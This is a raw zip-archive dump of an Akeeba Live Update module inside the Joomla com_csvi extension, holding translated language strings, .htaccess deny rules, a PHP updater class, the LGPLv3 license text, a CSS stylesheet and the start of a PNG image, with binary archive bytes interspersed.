PKs>\<Ɯ 7com_csvi/liveupdate/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores hjemmeside manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstalleren." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdatér opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapportér dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Overførsel's ID i komponenten's indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte link" LIVEUPDATE_REFRESH_INFO="Opdatér opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdatér til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne overføre og installere din opdatering, men du har ikke gemt en FTP log ind information i din Joomla!'s konfiguration.

      Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Overfør og installér opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Overførsel af opdateringspakken fejlede. Vær venligst sikker på der kan skrives til din midlertidige mappe og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdatér venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installér %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PKs>\NQQ7com_csvi/liveupdate/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by Niko Winckel - www.nik-o-mat.de LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung" LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

      BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." LIVEUPDATE_RELEASEINFO="Information" LIVEUPDATE_RELEASENOTES="Infos zur Veröffentlichung" LIVEUPDATE_READMOREINFO="Weiterlesen"PKs>\),com_csvi/liveupdate/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_csvi/liveupdate/language/fi-FI/.htaccessnuW+A Order allow,deny Deny from all PKs>\u$ $ 7com_csvi/liveupdate/language/fi-FI/fi-FI.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update ei ole tuettu tällä palvelimella" LIVEUPDATE_NOTSUPPORTED_INFO="Palvelimesi mukaan Live Update ei ole tuettu. Ota yhteyttä palveluntarjoajaasi ja pyydä heitä ottamaan cURL PHP laajennus tai URL fopen() lisätoiminnot käyttöön. Jos nämä ovat jo käytössä, pyydä heitä muuttamaan palomuurinsa asetuksia niin, että se sallii yhteydet seuraavaan osoitteeseen:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Voit aina päivittää %s lisäosan käymällä sivustollamme, lataamalla viimeisimmän version ja asentamalla sen Joomla! lisäosien asennuksella." LIVEUPDATE_STUCK_HEAD="Live Update on havainnut kaatuneensa" LIVEUPDATE_STUCK_INFO="Live Update on havainnut, että se kaatui edellisellä kerralla päivitystä hakiessaan. Yleensä tämä johtuu palvelimestä, joka pyrkii estämään yhteydet muille palvelimille. Jos haluat yrittää päivitystietojen hakemista uudelleen, napsauta "Päivitä päivitystiedot" painiketta. Jos tästä seuraa tyhjä sivu, ota yhteyttä palveluntarjoajaasi ja ilmoita ongelmasta." LIVEUPDATE_ERROR_NEEDSAUTH="Sinun täytyy syöttää pyydetty käyttäjätunniste komponentin asetuksissa ennenkuin voit päivittää viimeisimpään versioon. Päivityspainike pysyy estettynä siihen asti." LIVEUPDATE_HASUPDATES_HEAD="Uusi versio on saatavilla" LIVEUPDATE_NOUPDATES_HEAD="Sinulla on jo uusin versio" LIVEUPDATE_CURRENTVERSION="Asennettu versio" LIVEUPDATE_LATESTVERSION="Uusin versio" LIVEUPDATE_LATESTRELEASED="Uusimman julkaisupäivä" LIVEUPDATE_DOWNLOADURL="Suora latauslinkki" LIVEUPDATE_REFRESH_INFO="Päivitä päivitystiedot" LIVEUPDATE_DO_UPDATE="Päivitä uusimpaan versioon" LIVEUPDATE_FTP_REQUIRED="Live Update havaitsi, että se tarvitsee FTP yhteyden ladatakseen päivityksesi, mutta FTP tietoja ei ole asetettu Joomla! asetuksissa.

      Syötä FTP tunnus ja salasana päivittääksesi." LIVEUPDATE_FTP="FTP tiedot" LIVEUPDATE_FTPUSERNAME="FTP käyttäjänimi" LIVEUPDATE_FTPPASSWORD="FTP salasana" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Lataa ja asenna päivitys" LIVEUPDATE_DOWNLOAD_FAILED="Päivityspaketin lataaminen epäonnistui. Varmista, että temp-kansioom voi kirjoittaa tai Joomla! FTP toiminnot on sallittu sivuston asetuksissa." LIVEUPDATE_EXTRACT_FAILED="Päivityspaketin purkaminen epäonnistui. Yritä päivittää lisäosa manuaalisesti." LIVEUPDATE_INVALID_PACKAGE_TYPE="Paketin tyyppi ei kelpaa. Päivitystä ei voida tehdä." LIVEUPDATE_INSTALLEXT="Asenna %s %s" LIVEUPDATE_ERROR="Virhe" LIVEUPDATE_SUCCESS="Onnistui" LIVEUPDATE_ICON_UNSUPPORTED="Live Update ei tuettu" LIVEUPDATE_ICON_CRASHED="Live Update kaatui" LIVEUPDATE_ICON_CURRENT="Sinulla on uusin versio" LIVEUPDATE_ICON_UPDATES="Päivitys löydetty! Napsauta päivittääksesi." LIVEUPDATE_RELEASEINFO="Tietoja" LIVEUPDATE_RELEASENOTES="Julkaisutiedot" LIVEUPDATE_READMOREINFO="Lue lisää"PKs>\`wכ 7com_csvi/liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Direkteoppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Direkteoppdatering støttes ikke på denne serveren." LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at direkteoppdatering ikke støttes. Kontakt din leverandør og spør om de kan aktivere cURL PHP eller aktivere URL fopen(). Dersom disse allerede er aktivert kan du spørre om de kan konfigurere sin brannmur slik at den gir tilgang til følgende URL:" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere %s manuelt ved å besøke vår side. Laste ned og installer den nyeste versjonen ved hjelp av Joomlas installasjonsfunksjon." LIVEUPDATE_STUCK_HEAD="Direkteoppdateringen har merket seg selv som krasjet." LIVEUPDATE_STUCK_INFO="Direkteoppdatering avdekket at den krasjet forrige gang den forsøkte å kontakte oppdateringsserveren. Dette betyr vanligvis at du benytter en leverandør av netthotell som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å forsøke på nytt å hente oppdateringsinformasjonen, klikk på knappen "_QQ_"Oppdater informasjon"_QQ_" nedenfor. Dersom dette resulterer i en blank side bør du kontakte din leverandør av netthotell for å melde fra om dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi ditt brukernavn/passord eller nedlastnings-id i komponentens innstillinger før du forsøker å oppdatere til siste versjon. Oppdateringsknappen vil forbli deaktivert inntil du gjøre dette." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater informasjon" LIVEUPDATE_DO_UPDATE="Oppdater til siste versjon" LIVEUPDATE_FTP_REQUIRED="Direkteoppdatering har avdekket at den må bruke FTP, for å laste ned og installere oppdateringen, men du har ikke angitt og lagret FTP-informasjonen under nettstedets globale konfigurasjon .

      Du må oppgi FTP-brukernavn og passord nedenfor for å kunne fortsette med oppdateringen." LIVEUPDATE_FTP="FTP-informasjon" LIVEUPDATE_FTPUSERNAME="FTP-brukernavn" LIVEUPDATE_FTPPASSWORD="FTP-passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringspakke mislyktes. Påse at temp-mappen er skrivbar, eller at du har aktivert Joomlas FTP-innstillinger under nettstedets globale konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Forsøk å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Direkteoppdatering støttes ikke." LIVEUPDATE_ICON_CRASHED="Direkteoppdatering krasjet." LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen." LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKs>\),com_csvi/liveupdate/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PKs>\- 7com_csvi/liveupdate/language/pt-BR/pt-BR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by gnumax - www.gnumax.org - 15-05-2011 LIVEUPDATE_TASK_OVERVIEW="Actualização ao vivo" LIVEUPDATE_NOTSUPPORTED_HEAD="A atualização ao vivo não esta suportada neste servidor" LIVEUPDATE_NOTSUPPORTED_INFO="O servidor indica que Atualização ao Vivo não é compatível. Entre em contato com seu Hosting e solicite que permitam a extensão cURL PHP ou desativem o URL fopen(). Se estão já desabilitadas, por favor, solicite que configurem seu firewall para que permita o acesso do seguinte endereço URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sempre é possível atualizar %s, visite nosso site manualmente, baixe a última versão e instale usando o instalador de extensões Joomla!." LIVEUPDATE_STUCK_HEAD="Actualização ao Vivo marcou como se danificou" LIVEUPDATE_STUCK_INFO="Live Update determinou que foi danificado a última vez que tratou de contatar com o servidor de atualizações. Isto d emodo geral indica uma série de bloqueios ativos de comunicação com sites externos. Se deseja voltar a tentar buscar a informação de atualização, por favor clique em 'Atualizar informação de atualização' no botão abaixo. Em caso de ontér uma página em branco como resultado, por favor contate com seu Hosting e informe sobre este tema." LIVEUPDATE_ERROR_NEEDSAUTH="Tem que facilitar seu nome de usuário/senha ou ID de download nos parâmetros do componente antes de tentar atualizar a última versão. O botão de atualização permanecerá desativado até que não realize esta ação." LIVEUPDATE_HASUPDATES_HEAD="Existe uma versão nova disponível" LIVEUPDATE_NOUPDATES_HEAD="Você já tem a última versão" LIVEUPDATE_CURRENTVERSION="Versão instalada" LIVEUPDATE_LATESTVERSION="Última versão" LIVEUPDATE_LATESTRELEASED="Data do último lançamento" LIVEUPDATE_DOWNLOADURL="URL de download direto" LIVEUPDATE_REFRESH_INFO="Refrescar a informação de atualização" LIVEUPDATE_DO_UPDATE="Atualizar a última versão" LIVEUPDATE_FTP_REQUIRED="Live Update determina que é necessário o uso de FTP para baixar e instalar a atualização, mas não guardou sua informação de acesso FTP em seu site Joomla!, em Configuração Global.

      Indique o nome de usuário FTP e senha para continuar com a atualização." LIVEUPDATE_FTP="Informação FTP" LIVEUPDATE_FTPUSERNAME="Usuário FTP" LIVEUPDATE_FTPPASSWORD="Senha FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Baixar e instalar a atualização" LIVEUPDATE_DOWNLOAD_FAILED="O download do pacote de atualização falhou. Assegure-se que seu diretório /tmp pode escrever ou que habilitou as opções de FTP na Configuração Global do seu site Joomla!" LIVEUPDATE_EXTRACT_FAILED="Falhou a descompressão do pacote de atualização. Por favor, tente atualizar a extensão manualmente." LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de pacote não é válido. A atualização não pode continuar." LIVEUPDATE_INSTALLEXT="Instale %s %s" LIVEUPDATE_ERROR="Erro" LIVEUPDATE_SUCCESS="Êxito" LIVEUPDATE_ICON_UNSUPPORTED="Atualização ao Vivo não suportadactualización en Vivo no soportada" LIVEUPDATE_ICON_CRASHED="Atualização ao Vivo foi danificada" LIVEUPDATE_ICON_CURRENT="Você tem a última versão" LIVEUPDATE_ICON_UPDATES="ATUALIZAÇÃO ENCONTRADA! CLIQUE PARA ATUALIZAR." LIVEUPDATE_RELEASEINFO="Informações" LIVEUPDATE_RELEASENOTES="Notas de lançamento" LIVEUPDATE_READMOREINFO="Leia mais"PKs>\),com_csvi/liveupdate/language/pt-BR/.htaccessnuW+A Order allow,deny Deny from all PKs>\=u JJ"com_csvi/liveupdate/liveupdate.phpnuW+A * * One-click updater for Joomla! extensions * Copyright (C) 2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ defined('_JEXEC') or die(); require_once dirname(__FILE__).'/classes/abstractconfig.php'; require_once dirname(__FILE__).'/config.php'; class LiveUpdate { /** @var string The current version of Akeeba Live Update */ public static $version = '1.1'; /** * Loads the translation strings -- this is an internal function, called automatically */ private static function loadLanguage() { // Load translations $basePath = dirname(__FILE__); $jlang = JFactory::getLanguage(); $jlang->load('liveupdate', $basePath, 'en-GB', true); // Load English (British) $jlang->load('liveupdate', $basePath, $jlang->getDefault(), true); // Load the site's default language $jlang->load('liveupdate', $basePath, null, true); // Load the currently selected language } /** * Handles requests to the "liveupdate" view which is used to display * update information and perform the live updates */ public static function handleRequest() { // Load language strings self::loadLanguage(); // Load the controller and let it run the show require_once dirname(__FILE__).'/classes/controller.php'; $controller = new LiveUpdateController(); $controller->execute(JRequest::getCmd('task','overview')); $controller->redirect(); } /** * Returns update information about your extension, based on your configuration settings * @return stdClass */ public static function getUpdateInformation($force = false) { require_once dirname(__FILE__).'/classes/updatefetch.php'; $update = new LiveUpdateFetch(); $info = $update->getUpdateInformation($force); $hasUpdates = $update->hasUpdates(); $info->hasUpdates = $hasUpdates; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $info->extInfo = (object)$extInfo; return $info; } public static function getIcon($config=array()) { // Load language strings self::loadLanguage(); $defaultConfig = array( 'option' => JRequest::getCmd('option',''), 'view' => 'liveupdate', 'mediaurl' => JURI::base().'components/'.JRequest::getCmd('option','').'/liveupdate/assets/' ); $c = array_merge($defaultConfig, $config); $url = 'index.php?option='.$c['option'].'&view='.$c['view']; $img = $c['mediaurl']; $updateInfo = self::getUpdateInformation(); if(!$updateInfo->supported) { // Unsupported $class = 'liveupdate-icon-notsupported'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UNSUPPORTED'); } elseif($updateInfo->stuck) { // Stuck $class = 'liveupdate-icon-crashed'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CRASHED'); } elseif($updateInfo->hasUpdates) { // Has updates $class = 'liveupdate-icon-updates'; $img .= 'update-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UPDATES'); } else { // Already in the latest release $class = 'liveupdate-icon-noupdates'; $img .= 'current-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CURRENT'); } return ''; } }PKs>\?uucom_csvi/liveupdate/index.htmlnuW+APKs>\$_ com_csvi/liveupdate/LICENSE.txtnuW+A============================================================================== Akeeba Live Update - One-click updates for Joomla! extensions Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com Live Update is a sub-component to assist you in providing one-click updates for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the GNU Lesser General Public License version 3 or, at your option, any later version published by the Free Software Foundation. You can use it royalty- free in any Joomla! extension, Free or Proprietary. The full text of its license is provided below. ============================================================================== GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.PKs>\}1%ZZ)com_csvi/liveupdate/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 620px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 12pt; text-shadow: 1px 1px 3px silver } #nagscreen { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; }PKs>\vpVPP(com_csvi/liveupdate/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& 